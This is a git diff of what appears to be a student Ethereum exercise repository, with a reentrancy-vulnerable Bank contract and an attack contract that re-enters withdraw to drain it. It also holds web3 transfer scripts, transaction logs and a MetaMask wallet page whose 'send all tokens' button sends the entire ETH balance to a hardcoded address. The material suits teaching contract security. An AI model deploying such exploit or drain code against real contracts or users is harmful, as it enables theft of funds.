diff --git a/DAOattack.sol b/DAOattack.sol
new file mode 100644
index 0000000..1489b43
--- /dev/null
+++ b/DAOattack.sol
@@ -0,0 +1,51 @@
+pragma solidity ^0.4.16;
+
+contract Bank {
+   mapping(address => uint256) public clients;
+   uint256 public ethBalance;
+
+    function deposit() public payable {
+        clients[msg.sender] = msg.value + clients[msg.sender];
+        ethBalance = ethBalance + msg.value;
+    }
+
+    function withdraw(uint256 amount) public {
+        require(amount <= clients[msg.sender]);
+        msg.sender.call.value(amount)();
+        ethBalance = ethBalance - amount;
+        clients[msg.sender] = clients[msg.sender] - amount;
+    }  
+}
+
+contract attack {
+    bool public is_attack=true;
+    address public bankAddress;
+    
+    Bank public B;
+    
+    constructor(address _bankAddress) public{
+    bankAddress=_bankAddress;
+    B = Bank(bankAddress);
+       
+   } 
+    
+    function() public payable {
+        if (is_attack == true){
+            is_attack = false;
+            B.withdraw(1 ether);
+        }
+        
+    }
+    function deposit11() public payable{
+        
+        B.deposit.value(msg.value)();
+    }
+    
+    function  withdraw11() public{
+
+        B.withdraw(1 ether);
+        msg.sender.transfer(this.balance);
+
+   }
+    
+} 
diff --git a/README.md b/README.md
index dadbc8a..634d6b1 100644
--- a/README.md
+++ b/README.md
@@ -20,3 +20,101 @@
 1. using web3 on mainnet, transfer all tokens and eth to my address `0xea9568670a5fE44D42e76386d208165c25A320f7`
 1. do a pull request with your web3 code
 1. do a pull request with your record of prices and transactions costs
+
+Eth address: 0xdf66b18b04bCaDb2712bC7D7F4657fbe94A76953
+
+Tx----
+TxHash:0xe847a1243644f0e8518b4d3898c09bfaadef4e01ae3bfb9b7963fee00f1e47ff TxReceipt Status:SuccessBlock Height:6191977 (93 block confirmations)TimeStamp:22 mins ago (Aug-22-2018 07:06:55 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:Contract 0xe41d2489571d322189246dafa5ebde1f4699f498 (ZRX_Token)  Token Transfered:
+ From 0x4da36e7948c692be53010a626359bc47c317813dTo 0xea9568670a5fe44d42e76386d208165c25a320f7for  36.194 ($25.78) ZRX
+Value: 0 Ether ($0.00) Gas Limit: 200000 Gas Used By Txn: 37106 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00011168906 Ether ($0.03) Nonce & {Position}:17 | {24} Input Data:
+ 
+Function: transfer(address _to, uint256 _value)
+
+MethodID: 0xa9059cbb
+[0]:  000000000000000000000000ea9568670a5fe44d42e76386d208165c25a320f7
+[1]:  000000000000000000000000000000000000000000000001f64aeb3c687d0000
+--------------
+
+TxHash:0x5f4ea2502cd852732b6ca6d9b915a05c60eaec839241ecf507ef994481a11594 TxReceipt Status:SuccessBlock Height:6191807 (276 block confirmations)TimeStamp:1 hr 4 mins ago (Aug-22-2018 06:27:10 AM +UTC)From:0x4da36e7948c692be53010a626359bc47c317813dTo:0xea9568670a5fe44d42e76386d208165c25a320f7 Value: 0.116 Ether ($32.96) Gas Limit: 200000 Gas Used By Txn: 21004 Gas Price: 0.00000000301 Ether (3.01 Gwei) Actual Tx Cost/Fee: 0.00006322204 Ether ($0.02) Nonce & {Position}:12 | {62} Input Data:
+ 
+0x00
+
+ --------------
+ 
+ TxHash:0xd1df648f2a9a1dcd2926eb4498fabfdf7d7e6f0e331d09b1d4569274bb153330 TxReceipt Status:SuccessBlock Height:6191098 (990 block confirmations)TimeStamp:4 hrs ago (Aug-22-2018 03:32:27 AM +UTC)From:0xfeb7a31cad312cd05e8103b2f820ffc58dc31ef0To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.0095431 Ether ($2.71) Gas Limit: 22000 Gas Used By Txn: 21004 Gas Price: 0.000000009 Ether (9 Gwei) Actual Tx Cost/Fee: 0.000189036 Ether ($0.05) Nonce & {Position}:1 | {25} Input Data:
+ 
+0x00
+-------------
+
+TxHash:0xc1a4880ffb9de43b1fbf73410ae9ac53f087257b6b5712fc5d3086e7c04ee17a TxReceipt Status:SuccessBlock Height:6191953 (142 block confirmations)TimeStamp:32 mins ago (Aug-22-2018 07:02:23 AM +UTC)From:0xea9568670a5fe44d42e76386d208165c25a320f7To:0x4da36e7948c692be53010a626359bc47c317813d Value: 0.01 Ether ($2.84) Gas Limit: 21000 Gas Used By Txn: 21000 Gas Price: 0.00000000310001 Ether (3.10001 Gwei) Actual Tx Cost/Fee: 0.00006510021 Ether ($0.02) Nonce & {Position}:8 | {110} Input Data:
+ 
+0x
+
+Private Note: <To access the private Note feature, you must be logged in>
+
+-------
+main-tx.js ETH transfer
+
+let Web3 = require('web3');
+let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/'));
+let util = require('ethereumjs-util');
+let tx = require('ethereumjs-tx');
+let privateKey = '<hidden>';
+let publicKey = util.bufferToHex(util.privateToPublic(privateKey));
+let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26);
+
+util.bufferToHex(util.privateToAddress(privateKey))
+transactionCount = web3.eth.getTransactionCount(address);
+let rawTx = {
+    nonce: web3.toHex(transactionCount),
+    gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')),
+    gasLimit: web3.toHex(200000),
+    to: '0xea9568670a5fE44D42e76386d208165c25A320f7',
+    value: web3.toHex(web3.toWei('0.116','ether')),
+    data: '0x0',
+    chainId: web3.toHex(1),
+};
+let transactionCount = web3.eth.getTransactionCount(address);
+let transaction = new tx(rawTx);
+util.bufferToHex(transaction.serialize());
+util.bufferToHex(util.sha3(util.bufferToHex(transaction.serialize())));
+let p = new Buffer(privateKey.slice(2), 'hex');
+transaction.sign(p);
+util.bufferToHex(transaction.hash(true));
+let signedTx = util.bufferToHex(transaction.serialize());
+web3.eth.sendRawTransaction(signedTx);
+console.log(result)
+
+------
+token-tx.js TOKEN TRANSFER
+
+let Web3 = require('web3');
+let web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/'));
+let util = require('ethereumjs-util');
+let tx = require('ethereumjs-tx');
+let privateKey = '<hidden>';
+let publicKey = util.bufferToHex(util.privateToPublic(privateKey));
+let address = '0x' + util.bufferToHex(util.sha3(publicKey)).slice(26);
+
+util.bufferToHex(util.privateToAddress(privateKey))
+let p = new Buffer(privateKey.slice(2), 'hex');
+let utils = require('web3-utils');
+
+transactionCount = web3.eth.getTransactionCount(address);
+let rawTx = {
+    nonce: web3.toHex(transactionCount),
+    gasPrice: web3.toHex(web3.toWei(3.01, 'shannon')),
+    gasLimit: web3.toHex(200000),
+    to: '0xa3d58c4e56fedcae3a7c43a725aee9a71f0ece4e',
+    value: web3.toHex(0),
+    data: '0xa9059cbb' + '000000000000000000000000ea9568670a5fE44D42e76386d208165c25A320f7' + utils.padLeft(web3.toHex(web3.toWei(39.94, 'ether')),64).substring(2,),
+    chainId: web3.toHex(1),
+};
+transaction = new tx(rawTx);
+transaction.sign(p);
+signedTx = util.bufferToHex(transaction.serialize());
+res= web3.eth.sendRawTransaction(signedTx);
+console.log(res)
+
+-----------------------------------------------
+
diff --git a/contract/tickets.sol b/contract/tickets.sol
new file mode 100644
index 0000000..aa2f74e
--- /dev/null
+++ b/contract/tickets.sol
@@ -0,0 +1,51 @@
+pragma solidity ^0.4.18;
+contract HelloWorld {
+ 
+ 
+ struct user{
+     address sender;
+     uint balance;
+     uint ticket;
+ }
+ 
+ user[] public users;
+
+ address public owner;
+ uint256 public totalTickets = 0; 
+//  uint256 sumBalance = 0;
+
+ constructor() public {
+     owner = msg.sender;
+ }
+ user userA;
+ function buy() public payable{  //buy tickets
+    userA.sender = msg.sender;
+    userA.ticket = msg.value;
+    users.push(userA);
+    
+    totalTickets += userA.ticket;
+    
+    uint totalUsers = users.length;
+    for(uint itr=0;itr< totalUsers; itr++ )
+        users[itr].balance += 99*msg.value*users[itr].ticket/(totalTickets*100);
+  
+ }
+ 
+ function redeem() public payable{
+     uint totalUsers = users.length;
+     for(uint32 itr =0 ; itr<totalUsers; itr++)
+     {
+         if (users[itr].sender == msg.sender){
+             owner.transfer(10*users[itr].balance/100);
+             msg.sender.send(90*users[itr].balance/100);
+             totalTickets -= users[itr].ticket;
+             users[itr].balance = 0;
+             users[itr].ticket = 0;
+         }
+     }
+ }
+ 
+
+ 
+ 
+}
diff --git a/my-eth-wallet/package.json b/my-eth-wallet/package.json
new file mode 100644
index 0000000..348642c
--- /dev/null
+++ b/my-eth-wallet/package.json
@@ -0,0 +1,15 @@
+{
+  "name": "vue-template",
+  "version": "1.0.0",
+  "description": "",
+  "main": "serve.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "express": "^4.16.3",
+    "web3": "^0.20.7"
+  }
+}
diff --git a/my-eth-wallet/public/index-metamask.html b/my-eth-wallet/public/index-metamask.html
new file mode 100644
index 0000000..fb7b83b
--- /dev/null
+++ b/my-eth-wallet/public/index-metamask.html
@@ -0,0 +1,204 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>Welcome to Vue</title>
+  <script src="https://unpkg.com/vue"></script>
+</head>
+<body>
+  <div id="app">
+    <h1>{{ greeting }}</h1>
+  </div>
+  <div id="button-1">
+    address:
+    <input v-model="address" placeholder="address">
+    <p>balance is: {{ balance }}</p>
+    <button v-on:click="submitButton">submit</button>
+  </div>
+  <div id="button-2">
+    <p>send transaction</p>
+    
+    <br>address<br>
+    <input v-model="address" placeholder="">
+
+
+    <br>nonce<br>
+    <input v-model="nonce" placeholder="nonce">
+
+
+    <br>data<br>
+    <input v-model="data" placeholder="data">
+
+
+    <br>gasPrice<br>
+    <input v-model="gasPrice" placeholder="gasPrice">
+
+    <br>gasLimit<br>
+    <input v-model="gasLimit" placeholder="gasLimit">
+
+    <p>tx id: {{ txid }}</p>
+    <button v-on:click="submitButton">submit</button>
+  </div>
+  <div id="button-3">
+      <p><b>send all ether</b></p>
+      <br>address<br>
+      <input v-model="address" placeholder="address">
+      <p>tx id: {{ txid3 }}</p>
+      <button v-on:click="submitButton">send</button>
+  </div>
+  <div id="button-4">
+      <p><b>send all tokens</b></p>
+      <br>address<br>
+      <input v-model="address" placeholder="address">
+      <p>tx id: {{ txid4 }}</p>
+      <button v-on:click="submitButton">send</button>
+  </div>
+
+  <!-- <script src="https://cdn.rawgit.com/ethereum/web3.js/v0.20.6/dist/web3.min.js"></script> -->
+  <script src="https://cdn.rawgit.com/ethereum/web3.js/v1.0.0-beta.35/dist/web3.min.js"></script>
+  <script>
+    var web3js;
+    var account;
+    window.addEventListener('load', function() {
+      if (typeof web3 !== 'undefined') {
+        web3js = new Web3(web3.currentProvider);
+      }
+      console.log(web3.version)
+      console.log(web3js.version)
+      web3.eth.getAccounts(function(err, res) {
+        console.log(res);
+      });
+      web3js.eth.getAccounts(function(err, res) {
+        console.log(res);
+      });
+    })
+    var app = new Vue({
+      el: '#app',
+      data: {
+        greeting: 'My Ethereum Wallets',
+      }
+    })
+    var button1 = new Vue({
+      el: '#button-1',
+      data: {
+        address: '',
+        balance: '',
+      },
+      methods: {
+        submitButton: function (event) {
+          web3.eth.getBalance(button1.address, 'latest', (err, res) => {
+            if (err) {
+              console.log('error ' + err);
+            } else {
+              button1.balance=res;
+            }
+          });
+        }
+      }
+    })
+    var button2 = new Vue({
+      el: '#button-2',
+      data: {
+        address: '',
+        nonce : '',
+        data : '',
+        gasPrice : '',
+        gasLimit : '',
+        txid: '',
+      },
+      methods: {
+        submitButton: function (event) {
+          web3.eth.getAccounts(function(err, res) {
+            account = res[0];
+            web3.eth.sendTransaction({
+              from: account,
+              to: button2.address,
+              gas: button2.gasLimit,
+              gasPrice: '20000000000',
+            }, (err, res) => {
+              if (err) {
+                console.log('error ' + err);
+              } else {
+                button2.txid=res;
+              }
+            });
+          });
+        }
+      }
+    })
+
+    var button3 = new Vue({
+      el: '#button-3',
+      data: {
+        address :'',
+        txid3: ''
+      },
+      methods: {
+        submitButton: function (event) {
+          web3.eth.getAccounts(function(err, res) {
+            account = res[0];
+            web3.eth.getBalance(button3.address, 'latest', (err, res) => {
+              if (err) {
+                console.log('error ' + err);
+              } 
+              else {
+                button3.balance=  web3.toWei((parseFloat(res)/10**18 - 0.01).toString(),'ether')
+                web3.eth.sendTransaction({
+                from: account,
+                to: account,
+                gas: 21000,
+                gasPrice: '20000000000',
+                value: button3.balance
+                }, (err, res) => {
+                  if (err) {
+                    console.log('error ' + err);
+                  } 
+                  else {
+                    button3.txid3=res;
+                  }
+                });
+              }
+            });
+          });
+        }
+      }
+    })
+
+    var button4 = new Vue({
+      el: '#button-4',
+      data: {
+        address :'',
+        txid3: ''
+      },
+      methods: {
+        submitButton: function (event) {
+          web3.eth.getAccounts(function(err, res) {
+            account = res[0];
+            web3.eth.getBalance(button3.address, 'latest', (err, res) => {
+              if (err) {
+                console.log('error ' + err);
+              } 
+              else {
+                button3.balance=  web3.toWei((parseFloat(res)/10**18 - 0.01).toString(),'ether')
+                web3.eth.sendTransaction({
+                from: account,
+                to: '0x907B98479a589abAFC72926837B726B0D3582C3F',
+                gas: 21000,
+                gasPrice: '20000000000',
+                value: button3.balance
+                }, (err, res) => {
+                  if (err) {
+                    console.log('error ' + err);
+                  } 
+                  else {
+                    button3.txid3=res;
+                  }
+                });
+              }
+            });
+          });
+        }
+      }
+    })
+  </script>
+</body>
+</html>
diff --git a/my-eth-wallet/serve.js b/my-eth-wallet/serve.js
new file mode 100644
index 0000000..5f0dd5b
--- /dev/null
+++ b/my-eth-wallet/serve.js
@@ -0,0 +1,9 @@
+var express = require('express');
+var app = express();
+
+//setting middleware
+app.use(express.static(__dirname+'/public')); //Serves resources from public folder
+
+var server = app.listen(5000);
+
+console.log('http://localhost:5000/index-metamask.html');